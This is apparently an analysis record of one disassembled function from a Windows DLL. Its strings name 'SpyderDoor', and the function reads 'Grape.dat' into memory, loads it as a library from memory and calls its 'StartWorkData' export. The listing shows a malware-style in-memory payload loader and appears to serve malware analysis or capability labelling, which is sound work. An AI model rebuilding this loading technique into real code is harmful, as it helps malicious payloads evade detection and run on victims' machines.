Function at 0x180004010
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x1170]
mov eax, 0x1270
call fcn.180004a90
sub rsp, rax
mov rax, qword [0x18002e018]
xor rax, rsp
mov qword [rbp + 0x1160], rax
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x208
xor ebx, ebx
call fcn.1800067d0
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x40], ebx
call fcn.180003e00
test eax, eax
jne 0x1800040da
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
lea edx, [rbx + 0x5c]
lea rcx, [0x18002a240]
call fcn.1800063dc
test rax, rax
jne 0x180004098
lea rax, [0x18002a2a0]
jmp 0x18000409c
add rax, 2
mov dword [rsp + 0x28], 0xa9
lea r9, [0x18002a2f8]
lea r8, str._s__s:_d__Error_During_GetCurrentModulePath_n
mov qword [rsp + 0x20], rax
mov edx, 0x7ff
lea rcx, [rbp + 0x160]
call fcn.180002d00
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x180004434
lea r8, str.Grape.dat
mov edx, 0x104
lea rcx, [rsp + 0x50]
call fcn.18000f5a0
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
mov edx, 0x5c
lea rcx, [0x18002a390]
call fcn.1800063dc
test rax, rax
jne 0x180004123
lea rax, [0x18002a3f0]
jmp 0x180004127
add rax, 2
lea rcx, [rsp + 0x50]
mov edx, 0x7ff
mov qword [rsp + 0x30], rcx
lea r9, [0x18002a448]
mov dword [rsp + 0x28], 0xae
lea rcx, [rbp + 0x160]
lea r8, str._s__s:_d__11111111111_szTempPath:_s_n
mov qword [rsp + 0x20], rax
call fcn.180002d00
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.180003ac0
test eax, eax
jne 0x1800041f7
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
mov edx, 0x5c
lea rcx, [0x18002a4b0]
call fcn.1800063dc
test rax, rax
jne 0x1800041b5
lea rax, [0x18002a510]
jmp 0x1800041b9
add rax, 2
mov dword [rsp + 0x28], 0xb1
lea r9, [0x18002a568]
lea r8, str._s__s:_d__Error_During_ReadFileToMemory_n
mov edx, 0x7ff
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x160]
call fcn.180002d00
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x180004419
mov edx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call fcn.1800031f0
test rax, rax
jne 0x18000425c
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
mov edx, 0x5c
lea rcx, [0x18002a5e0]
call fcn.1800063dc
test rax, rax
jne 0x18000423d
lea rax, [0x18002a640]
jmp 0x180004241
add rax, 2
mov dword [rsp + 0x28], 0xb8
lea r9, [0x18002a698]
lea r8, str._s__s:_d__Error_During_Memory_Load_Library_n
jmp 0x1800041cf
mov rcx, rax
call fcn.180003920
test rax, rax
jne 0x1800042bb
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
mov edx, 0x5c
lea rcx, [0x18002a730]
call fcn.1800063dc
test rax, rax
jne 0x18000429c
lea rax, [0x18002a790]
jmp 0x1800042a0
add rax, 2
mov dword [rsp + 0x28], 0xc1
lea r9, [0x18002a7e8]
lea r8, str._s__s:_d__Error_During_MemoryGetProcAddress_StartWorkData_n
jmp 0x1800041cf
lea rcx, [0x18002ea20]
call rax
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
mov edx, 0x5c
lea rcx, [0x18002a880]
call fcn.1800063dc
test rax, rax
jne 0x1800042f7
lea rax, [0x18002a8e0]
jmp 0x1800042fb
add rax, 2
mov dword [rsp + 0x28], 0xc7
lea r9, [0x18002a938]
lea r8, [0x18002a950]
mov qword [rsp + 0x20], rax
mov edx, 0x7ff
lea rcx, [rbp + 0x160]
call fcn.180002d00
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
mov edx, 0x5c
lea rcx, [0x18002a9d0]
call fcn.1800063dc
test rax, rax
jne 0x180004367
lea rax, [0x18002aa30]
jmp 0x18000436b
add rax, 2
mov dword [rsp + 0x28], 0xc8
lea r9, [0x18002aa88]
lea r8, [0x18002aaa0]
mov qword [rsp + 0x20], rax
mov edx, 0x7ff
lea rcx, [rbp + 0x160]
call fcn.180002d00
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x1000
call fcn.1800067d0
mov edx, 0x5c
lea rcx, [0x18002ab20]
call fcn.1800063dc
test rax, rax
jne 0x1800043d7
lea rax, str.E:2023SpyderDoorStartWorkStartWork.cpp
jmp 0x1800043db
add rax, 2
mov dword [rsp + 0x28], 0xc9
lea r9, str.StartWork
lea r8, str._s__s:_d__Start_Work_Data_Start_Work_Data_Start_Work_Data_n
mov qword [rsp + 0x20], rax
mov edx, 0x7ff
lea rcx, [rbp + 0x160]
call fcn.180002d00
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ebx, 1
cmp qword [rsp + 0x48], 0
je 0x180004434
mov rcx, qword [rsp + 0x48]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
mov rcx, qword [rbp + 0x1160]
xor rcx, rsp
call fcn.180004600
mov rbx, qword [rsp + 0x1280]
add rsp, 0x1270
pop rbp
ret